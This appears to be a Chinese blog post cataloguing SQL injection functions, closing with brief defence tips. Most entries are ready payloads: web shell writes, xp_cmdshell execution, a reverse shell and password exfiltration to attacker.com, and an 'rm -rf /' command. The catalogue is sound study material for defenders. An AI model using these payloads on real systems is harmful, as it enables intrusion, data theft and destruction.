当前位置: 首页 > news >正文

SQL注入漏洞中会使用到的函数

目录

一、信息获取函数

1. 通用函数

2. 元数据查询(INFORMATION_SCHEMA)

二、字符串操作函数

1. 字符串连接

2. 字符串截取

3. 编码/解码

三、报错注入专用函数

1. MySQL

2. SQL Server

3. PostgreSQL

四、时间盲注函数

1. 通用延迟

2. 计算密集型延迟

五、文件操作函数

1. 文件读取

2. 文件写入

六、系统命令执行函数

1. SQL Server

2. PostgreSQL

3. MySQL(需特殊条件)

七、带外通信(OOB)函数

1. DNS外传数据

2. HTTP请求

八、高级聚合函数

1. 数据聚合

九、JSON/XML操作函数

1. MySQL

2. SQL Server

十、防御规避函数

1. 编码混淆

2. 动态执行

总结与防御建议


以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:


一、信息获取函数

1. 通用函数
  • DATABASE() 作用:获取当前数据库名称。 示例UNION SELECT DATABASE()

  • USER() / CURRENT_USER() 作用:获取当前数据库用户。

  • VERSION() / @@VERSION 作用:获取数据库版本信息。

2. 元数据查询(INFORMATION_SCHEMA
  • TABLES MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() SQL ServerSELECT name FROM sysobjects WHERE xtype='U'

  • COLUMNS OracleSELECT column_name FROM all_tab_columns WHERE table_name='USERS'


二、字符串操作函数

1. 字符串连接
  • CONCAT(str1, str2) 示例CONCAT('user=', USER())

  • ||(Oracle/PostgreSQL) 示例' UNION SELECT 'user: ' || USER() --

2. 字符串截取
  • SUBSTRING(str, start, length) 示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

  • SUBSTR()(Oracle/PostgreSQL)

  • LEFT(str, length) / RIGHT(str, length)

3. 编码/解码
  • HEX() / UNHEX() 用途:绕过WAF过滤,如SELECT HEX('admin')61646D696E

  • CHAR(ASCII_CODE) 示例CHAR(97)a


三、报错注入专用函数

1. MySQL
  • UPDATEXML() 语法UPDATEXML(XML_doc, XPath, new_value) 示例AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)

  • EXTRACTVALUE() 语法EXTRACTVALUE(XML_doc, XPath) 示例AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))

2. SQL Server
  • CONVERT() 触发类型转换错误CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))

  • ERROR_MESSAGE() 配合TRY-CATCHBEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH

3. PostgreSQL
  • CAST() 示例CAST((SELECT CURRENT_USER) AS INTEGER)


四、时间盲注函数

1. 通用延迟
  • SLEEP(seconds)(MySQL) 示例IF(1=1, SLEEP(5), 0)

  • PG_SLEEP(seconds)(PostgreSQL)

  • WAITFOR DELAY '0:0:5'(SQL Server)

2. 计算密集型延迟
  • BENCHMARK(count, expr)(MySQL) 示例BENCHMARK(1000000, MD5('test'))


五、文件操作函数

1. 文件读取
  • LOAD_FILE()(MySQL) 权限需求FILE权限,且secure_file_priv未限制路径 示例UNION SELECT LOAD_FILE('/etc/passwd')

  • pg_read_file()(PostgreSQL) 示例SELECT pg_read_file('/etc/passwd')

2. 文件写入
  • INTO OUTFILE / INTO DUMPFILE(MySQL) 示例SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

  • COPY(PostgreSQL) 示例COPY (SELECT 'malicious code') TO '/var/www/shell.php'


六、系统命令执行函数

1. SQL Server
  • xp_cmdshell 示例EXEC xp_cmdshell 'whoami' 防御:需禁用xp_cmdshell组件。

2. PostgreSQL
  • COPY FROM PROGRAM 示例COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'

3. MySQL(需特殊条件)
  • sys_exec()(UDF提权后) 示例SELECT sys_exec('rm -rf /')


七、带外通信(OOB)函数

1. DNS外传数据
  • LOAD_FILE()(MySQL) 示例LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))

  • UTL_HTTP.REQUEST()(Oracle) 示例SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL

2. HTTP请求
  • HTTPURITYPE(Oracle) 示例SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL


八、高级聚合函数

1. 数据聚合
  • GROUP_CONCAT()(MySQL) 示例GROUP_CONCAT(table_name SEPARATOR ',') 用于一次性获取所有表名。

  • STRING_AGG()(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。


九、JSON/XML操作函数

1. MySQL
  • JSON_EXTRACT() 绕过技巧SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))

2. SQL Server
  • OPENJSON() 示例SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))


十、防御规避函数

1. 编码混淆
  • TO_BASE64() / FROM_BASE64()(MySQL 5.6+) 示例SELECT FROM_BASE64('YWRtaW4=')admin

  • ASCII() / ORD() 用途:盲注中逐字符转换ASCII值。

2. 动态执行
  • EXEC()(SQL Server) 示例EXEC('SELECT * FROM users')

  • PREPARE / EXECUTE(MySQL) 示例SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;


总结与防御建议

  1. 禁用高危函数:如xp_cmdshellFILE权限等。

  2. 输入过滤:严格校验参数类型,过滤UNIONSLEEP等关键词。

  3. 最小权限原则:数据库账户仅授予必要权限。

  4. 监控异常查询:如频繁出现INFORMATION_SCHEMA访问或LOAD_FILE()调用。

示例攻击链

' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') 
-- 

掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。


http://www.xdnf.cn/news/97021.html

相关文章:

  • 时序数据库 TDengine 助力石油石化业务, 平滑接替 Oracle 数据库
  • React propsTypes使用方式
  • MyBatis-Plus分页插件的使用
  • Python常用的第三方模块之【jieba库】支持三种分词模式:精确模式、全模式和搜索引擎模式(提高召回率)
  • React组件测试完全指南:从入门到实践
  • 精益数据分析(16/126):掌握关键方法,探寻创业真谛
  • 【Pandas】pandas DataFrame mod
  • 位置编码学习笔记
  • Linux:进程地址空间
  • 【LangChain4j】AI 第一弹:LangChain4j 的理解
  • 32单片机——GPIO寄存器
  • 05/06-Java入门-HelloWorld和编程工具的使用
  • c语言指针3
  • 初识分布式事务原理
  • VMware中CentOS 7虚拟机设置固定IP(NAT模式)完整教程
  • Scanpy可视化技巧--UMAP图优化
  • 数据的加载与保存
  • 基于Quill的文档编辑器开发日志(上)——前端核心功能实现与本地存储管理
  • Java 环境配置详解(Windows、macOS、Linux)
  • 新书推荐——《游·思——看世界 上》孔祥超 著
  • 【MQ篇】RabbitMQ之工作队列模式!
  • Kotlin中实现静态
  • 智能文档解析系统架构师角色定义
  • 链表系列一>两数相加
  • 如何将 Azure Active Directory (Azure AD) 作为 SAML IdP 对接到 Keycloak
  • 从零手写 RPC-version1
  • django软件开发招聘数据分析与可视化系统设计与实现(源码+lw+部署文档+讲解),源码可白嫖!
  • 搭建Stable Diffusion图像生成系统实现通过网址访问(Ngrok+Flask实现项目系统公网测试,轻量易部署)
  • JavaEE学习笔记(第二课)
  • C#开发usb hid 简易GUI调试工具记录